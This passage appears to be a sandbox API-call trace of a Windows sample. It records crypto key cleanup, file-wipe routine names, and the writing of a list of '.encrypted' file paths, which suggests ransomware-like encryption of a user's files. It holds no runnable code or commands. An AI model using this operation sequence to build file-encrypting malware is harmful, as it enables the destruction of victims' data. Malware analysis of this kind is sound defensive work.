lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.083] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.083] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.083] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.083] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.083] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.083] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.083] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.083] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.083] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.083] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.083] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.083] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.083] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.083] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.086] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.086] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.086] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.087] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.087] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.087] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0022.087] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.087] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.087] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0022.087] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.087] CryptDestroyKey (hKey=0xe8f4062800) returned 1 [0022.087] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.087] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.087] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.087] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.087] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.087] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.087] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.087] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.087] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.087] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0022.087] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.087] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.087] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.087] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.087] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.087] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.088] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.088] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.088] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.088] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.088] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.088] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.088] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.088] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.088] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.088] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.088] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.088] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.088] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.088] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0022.088] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.088] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.088] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.088] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.088] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.088] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.088] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.095] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.096] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.096] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0022.096] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.096] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.096] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.096] CharLowerBuffW (in: lpsz="byte[48104]", cchLength=0xb | out: lpsz="byte[48104]") returned 0xb [0022.096] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.096] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0022.096] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.096] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0022.097] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.097] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.097] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.097] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0022.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.097] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0022.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.097] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.097] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0022.097] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.097] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.098] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.098] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.098] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.098] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.098] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0022.098] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.098] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.100] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.100] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.100] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.101] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.101] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.101] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.101] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.101] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.101] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.101] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.101] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.101] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0022.101] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=426) returned 1 [0022.102] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.102] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0022.102] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0022.102] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1aa, lpOverlapped=0x0) returned 1 [0022.102] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0022.102] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x1aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.102] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=426) returned 1 [0022.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\2U 4q.encrypted.mkv\r\n", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0022.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\2U 4q.encrypted.mkv\r\n", cchWideChar=51, lpMultiByteStr=0xe8f404bcd0, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\2U 4q.encrypted.mkv\r\n", lpUsedDefaultChar=0x0) returned 51 [0022.102] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4051b80*, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4051b80*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x32, lpOverlapped=0x0) returned 1 [0022.102] CloseHandle (hObject=0x188) returned 1 [0022.103] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.103] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.103] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.103] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.103] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.103] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0022.104] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.104] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0022.105] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0022.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41789a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0022.169] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0022.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178900, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0022.169] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0022.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 